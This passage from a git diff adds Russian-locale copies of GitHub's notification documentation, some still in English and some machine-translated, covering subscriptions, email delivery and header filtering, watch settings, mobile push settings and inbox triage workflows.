variables.location.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.' +redirect_from: + - /articles/notifications + - /articles/about-notifications + - /github/managing-subscriptions-and-notifications-on-github/about-notifications-beta + - /github/managing-subscriptions-and-notifications-on-github/about-notifications + - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +--- + +## Notifications and subscriptions + +You can choose to receive ongoing updates about specific activity on {% data variables.location.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to. + +### Subscription options + +You can choose to subscribe to notifications for: +- A conversation in a specific issue, pull request, or gist. +- All activity in a repository or team discussion. +- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. +- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled). + +You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**. + +If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." + +### Default subscriptions + +In general, you are automatically subscribed to conversations by default when you have: +- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default. +- Been assigned to an issue or pull request. +- Opened a pull request, issue, or created a team discussion post. +- Commented on a thread. +- Subscribed to a thread manually by clicking **Watch** or **Subscribe**. +- Had your username @mentioned. +- Changed the state of a thread, such as by closing an issue or merging a pull request. +- Had a team you're a member of @mentioned. + +By default, you also automatically watch all repositories that you create and are owned by your personal account. + +To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.location.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." + +## Customizing notifications and subscriptions + +You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options. + +To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)." + +To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." + +To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)." + +{% ifversion fpt or ghes or ghec %} +You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)." +{% endif %} + +## Reasons for receiving notifications + +Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)." + +Your inbox shows the `reasons` you're receiving notifications as a label. + +![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png) + +You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter. + +![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png) + +If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." + +## Triaging notifications from your inbox + +To effectively manage your notifications, you can triage your inbox with options to: +- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`. +- Mark a notification as read or unread. +- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`. +- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again. + +From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)." + +## Customizing your notifications inbox + +To focus on a group of notifications in your inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)." + +## Notification retention policy + +Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day. + +## Feedback and support + +If you have feedback or feature requests for notifications, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general). diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md new file mode 100644 index 000000000000..ee9ed4f6aa8f --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -0,0 +1,304 @@ +--- +title: Configuring notifications +intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' +redirect_from: + - /articles/about-web-notifications + - /format-of-notification-emails + - /articles/configuring-notification-emails + - /articles/about-notification-emails + - /articles/about-email-notifications + - /articles/accessing-your-notifications + - /articles/configuring-notification-delivery-methods + - /articles/managing-notification-delivery-methods + - /articles/managing-notification-emails-for-organizations + - /articles/choosing-the-delivery-method-for-your-notifications + - /articles/choosing-the-types-of-notifications-you-receive + - /github/managing-subscriptions-and-notifications-on-github/configuring-notifications + - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +--- + +## Notification delivery options + +You can receive notifications for activity on {% data variables.location.product_location %} in the following locations. + + - The notifications inbox in the {% data variables.location.product_location %} web interface{% ifversion fpt or ghes or ghec %} + - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.location.product_location %}{% endif %} + - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} + +{% ifversion fpt or ghes or ghec %} +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)." +{% endif %} + +{% data reusables.notifications.shared_state %} + +### Benefits of the notifications inbox + +The notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: + - Triage multiple notifications at once. + - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. + - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. + - Unsubscribe and remove a notification from your inbox. + - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.location.product_location %} from within the notifications inbox. + - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. + - Create custom filters to focus on different notifications when you want. + - Group notifications in your inbox by repository or date to get a quick overview with less context switching + +{% ifversion fpt or ghes or ghec %} +In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub Mobile](#managing-your-notification-settings-with-github-mobile)" or "[GitHub Mobile](/get-started/using-github/github-mobile)." +{% endif %} + +### Benefits of using an email client for notifications + +One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)." + +Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. + +Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)." + +## About participating and watching notifications + +When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." + +To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." + +{% ifversion ghae %} +### Configuring notifications +{% endif %} +You can configure notifications for a repository on the repository page, or on your watching page. + +### About custom notifications +You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below. + +### Participating in conversations +Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. + +{% ifversion update-notification-settings-22 %}For conversations you're watching or participating in, you can choose whether you want to receive notifications on {% data variables.product.company_short %} or by email in your notification settings. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." + +![Animated GIF of participating and watching subscriptions options](/assets/images/help/notifications/selecting-participating-notifications.gif) + +{% else %} + +For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.location.product_location %}{% ifversion ghes %} and {% data variables.product.prodname_mobile %}{% endif %}. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." + +![Screenshot of participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png){% endif %} + + + +For example: + - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications. + - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating". + +{% ifversion update-notification-settings-22 %}If you do not enable "Notify me: On GitHub" for watching or participating notifications, then your notifications inbox will not have any updates. + +{% else %} + +If you do not enable watching or participating notifications for web{% ifversion ghes %} and mobile{% endif %}, then your notifications inbox will not have any updates.{% endif %} + +## Customizing your email notifications + +After enabling email notifications, {% data variables.location.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.location.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. + +{% data reusables.notifications.outbound_email_tip %} + +{% data reusables.notifications.shared_state %} + +{% ifversion fpt or ghec %} + +If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. + +![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png) + +{% endif %} + +Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.location.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from: + - Comments on issues and pull requests. + - Pull request reviews. + - Pull request pushes. + - Your own updates, such as when you open, comment on, or close an issue or pull request. + +Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)." + +You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)." + +{% data reusables.notifications-v2.email-notification-caveats %} + +## Filtering email notifications + +Each email notification that {% data variables.location.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. + +If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. + +Email notifications from {% data variables.location.product_location %} contain the following header information: + +| Header | Information | +| --- | --- | +| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. | +| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} | +| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are: | +| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `..{% data variables.command_line.backticks %}`. | +| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." | + +## Choosing your notification settings + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} +3. On the notifications settings page, choose how you receive notifications when: + - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." + - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)." + - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% ifversion fpt or ghec %} + - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} + +## Automatic watching + +By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options in your notification settings. + +{% ifversion update-notification-settings-22 %} +![Automatic watching options for teams and repositories](/assets/images/automatically-watch-repos-and-teams.png) +{% else %} +![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png){% endif %} + +If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. + +For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)." + +## Configuring your watch settings for an individual repository + +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) , or completely ignore an individual repository. + +{% data reusables.repositories.navigate-to-repo %} +2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option. + ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png) + + The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions. + ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png) + If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues. + +## Choosing where your organization’s email notifications are sent + +If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address. + +{% data reusables.notifications-v2.email-notification-caveats %} + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} + +3. Under "Default notification email", select the email address you'd like notifications sent to. +{% ifversion update-notification-settings-22 %} + + ![Screenshot of the default notification email address setting](/assets/images/help/notifications/default-email-address-emphasized.png) + +{% else %} + + ![Screenshot of the default notification email address dropdown](/assets/images/help/notifications/notifications_primary_email_for_orgs.png){% endif %} +{% ifversion ghes or ghae %} +4. Click **Save**.{% endif %} + +### Customizing email routes per organization + +If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} + +{% data reusables.notifications.access_notifications %} +{% data reusables.notifications-v2.manage-notifications %} +{% ifversion update-notification-settings-22 %} +3. Under "Default notifications email", click **Custom routing**. + + ![Screenshot of default notifications email settings with custom routing button emphasised](/assets/images/help/notifications/custom-router-emphasized.png) + +4. Click **Add new route**. + + ![Screenshot of custom routing settings with add new route button emphasised](/assets/images/help/notifications/add-new-route-emphasized.png) + +5. Click **Pick organization**, then select the organization you want to customize from the dropdown. + + ![Screenshot of dropdown to pick organization](/assets/images/help/notifications/organization-dropdown-custom-routing-emphasis.png) + +6. Select one of your verified email addresses, then click **Save**. + + ![Screenshot of custom routing page with save button](/assets/images/help/notifications/select-email-address-custom-routing-and-save.png) + +{% else %} +3. Under "Custom routing," find your organization's name in the list. + + ![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png) + +4. Click **Edit** next to the email address you want to change. + + ![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png) + +5. Select one of your verified email addresses, then click **Save**. + + ![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif){% endif %} + +## {% data variables.product.prodname_dependabot_alerts %} notification options + +{% data reusables.notifications.vulnerable-dependency-notification-enable %} +{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} +{% data reusables.notifications.vulnerable-dependency-notification-options %} + +For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)." + +{% ifversion update-notification-settings-22 or ghes %} +## {% data variables.product.prodname_actions %} notification options + +Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs.{% endif %} + +{% ifversion update-notification-settings-22 %} +![Animated GIF of notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications/github-actions-customize-notifications.gif){% endif %} + +{% ifversion ghes %} + ![Screenshot of the notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png){% endif %} + + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +## Organization alerts notification options + +If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. + +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Managing your notification settings with {% data variables.product.prodname_mobile %} + +When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events. +- Direct mentions +- Assignments to issues or pull requests +- Requests to review a pull request +- Requests to approve a deployment + +You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device. + +{% data reusables.mobile.push-notifications-on-ghes %} + +### Managing your notification settings with {% data variables.product.prodname_ios %} + +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. + +### Managing your notification settings with {% data variables.product.prodname_android %} + +1. In the bottom menu, tap **Profile**. +2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. +3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications. +4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications. + +## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %} + +You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository. + +1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository. +2. Tap **Watch**. + ![The watch button on {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-button.png) +3. To choose what activities you receive notifications for, tap your preferred watch settings. + ![Watch settings dropdown menu in {% data variables.product.prodname_mobile %}](/assets/images/help/notifications-v2/mobile-watch-settings.png) + +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md new file mode 100644 index 000000000000..72808a124235 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md @@ -0,0 +1,24 @@ +--- +title: Настройка уведомлений +intro: 'Чтобы повысить релевантность уведомлений и упростить процесс рассмотрения, настройте уведомления в соответствии с вашими приоритетами.' +redirect_from: + - /articles/getting-started-with-notifications + - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +children: + - /about-notifications + - /configuring-notifications +ms.openlocfilehash: 7e2b668bbd02e5b9d0307559dca82dda5ae70ee8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145115931' +--- + diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md new file mode 100644 index 000000000000..e30973f61777 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md @@ -0,0 +1,78 @@ +--- +title: Настройка рабочего процесса для рассмотрения уведомлений +intro: 'Чтобы создать идеальный рабочий процесс для рассмотрения уведомлений, можно адаптировать и настроить эти примеры рабочих процессов.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +redirect_from: + - /github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications + - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications +shortTitle: Triage your notifications +ms.openlocfilehash: 9e5771dff52408a1b6967a3792eb36eefebefd72 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145115928' +--- +## Запуск рассмотрения папки "Входящие" + +Прежде чем приступить к рассмотрению папки "Входящие", подумайте, предпочитаете ли вы сначала находить и реагировать на самые важные обновления или избавить свою папку "Входящие" от отвлекающих обновлений, которые можно легко удалить и рассмотреть. + +Вы можете использовать комбинацию обоих методов в разное время в зависимости от объема уведомлений. + +Пример рабочего процесса поиска и реагирования на наиболее важные уведомления см. в разделе [Проверка самых высоких приоритетов для уведомлений](#checking-your-highest-notification-priorities). + +Пример рабочего процесса удаления уведомлений, которые легко удаляются и рассматриваются, см. в разделе [Очистка наименее важных уведомлений](#clearing-your-least-important-notifications). + +## Проверка самых высоких приоритетов уведомлений + +Выберите наиболее срочный тип уведомлений и выберите удобное для вас время их проверки. Подумайте над вопросом: "Кого я блокирую?" + +Например, вы можете проверять уведомления в этом порядке по утрам во время ежедневного планирования: + - Запросы на вытягивание, в рамках которых запрашивается проверка. (фильтрация по `reason:review-requested`) + - События, в которых используется ваше имя пользователя — @mentioned, также называются "прямыми упоминаниями". (фильтрация по `reason:mention`) + - События, в которых команда, где вы являетесь участником @mentioned, также называются "упоминаниями о команде". (фильтрация по `reason:team-mention`) + - Сбои рабочего процесса CI для определенного репозитория. (выполните фильтрацию по `reason:ci-activity` и `repo:owner/repo-name` убедитесь, что вы включили уведомления о действиях CI для сбоев рабочих процессов в параметрах уведомлений) + + {% tip %} + + **Совет.** Чтобы быстро просмотреть самые высокие приоритеты, настройте пользовательские фильтры в порядке приоритета их проверки. Дополнительные сведения см. в разделе [Управление уведомлениями из папки «Входящие»](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#customizing-your-inbox-with-custom-filters). + + {% endtip %} + +## Реагирование на текущие обновления для уведомлений + +Чтобы выполнить действие в связи с уведомлениями, можно рассмотреть вопрос "Что у меня было заблокировано, а теперь разблокировано?" Выберите приоритеты при выполнении действий в связи с уведомлениями. + +Например, можно выполнить следующие действия в следующем порядке: + - Проблемы и запросы на вытягивание, которые вам назначены. Немедленно закройте все возможные проблемы и запросы на вытягивание и добавьте обновления. При необходимости сохраните уведомления для последующей их проверки. + - Просмотрите уведомления в сохраненной папке "Входящие", особенно непрочитанные обновления. Если поток больше не важен, отмените выбор {% octicon "bookmark" aria-label="The bookmark icon" %}, чтобы удалить уведомление из сохраненной папки "Входящие" и отменить ее сохранение. + +## Управление уведомлениями с более низким приоритетом + +После рассмотрения уведомлений с более высоким приоритетом просмотрите остальные уведомления, например, уведомления об участии. Обдумайте следующие вопросы: + - Можно ли вы отменить подписку на это уведомление? Завершено ли это уведомление и готово ли к добавлению метки **Готово**? + {% tip %} + + **Совет.** Если вы отмените подписку на уведомление, вы не будете получать новые обновления, если только вы не начнете участвовать в потоке, являетесь @mentioned или команда, в которой вы участвуете, является @mentioned. Когда вы добавляете для уведомления метку **Готово**, уведомление удаляется из основного представления папки "Входящие", и его можно просмотреть с помощью запроса `is:read`. Дополнительные сведения см. в разделе [Управление уведомлениями из папки «Входящие»](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-options). + + {% endtip %} + - Вы хотите в будущем получать обновления при закрытии или повторном открытии запроса на вытягивание или при объединении запроса на вытягивание? Дополнительные сведения об этих параметрах см. в разделе [Рассмотрение одного уведомления](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request). + - Хотите запретить получение таких уведомлений в будущем? Если так, то стоит подумать об отмене подписки. Дополнительные сведения см. в разделе [Управление подписками для действий в GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). + +## Очистка наименее важных уведомлений + +Выберите, какой тип уведомлений будет быстрее всего рассмотреть и удалить из папки "Входящие"; в идеале рассматривается несколько уведомлений одновременно. + +Например, вы можете удалить уведомления в следующем порядке: + - Уведомления об участии, подписку на которые можно отменить. + - Обновления репозитория, которые не настолько важны, чтобы сохранять их или выполнять действия в связи с ними. + +Дополнительные сведения об управлении несколькими уведомлениями в папке "Входящие" см. в разделе [Управление уведомлениями из папки "Входящие"](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time). + +Если это возможно, вы также можете изменить параметры уведомлений или отменить подписку на эти обновления. Дополнительные сведения см. в разделе [Настройка уведомлений](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications) или [Управление подписками для действий в GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github). diff --git a/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md new file mode 100644 index 000000000000..2cae91a35ac7 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md @@ -0,0 +1,27 @@ +--- +title: Просмотр и прохождение уведомлений +intro: 'Чтобы оптимизировать рабочий процесс уведомлений, можно настроить способ просмотра и рассмотрения уведомлений.' +redirect_from: + - /articles/managing-notifications + - /articles/managing-your-notifications + - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Notifications +children: + - /managing-notifications-from-your-inbox + - /triaging-a-single-notification + - /customizing-a-workflow-for-triaging-your-notifications +shortTitle: Customize a workflow +ms.openlocfilehash: a4130fe6877b7071211494226f67906e2870224b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT 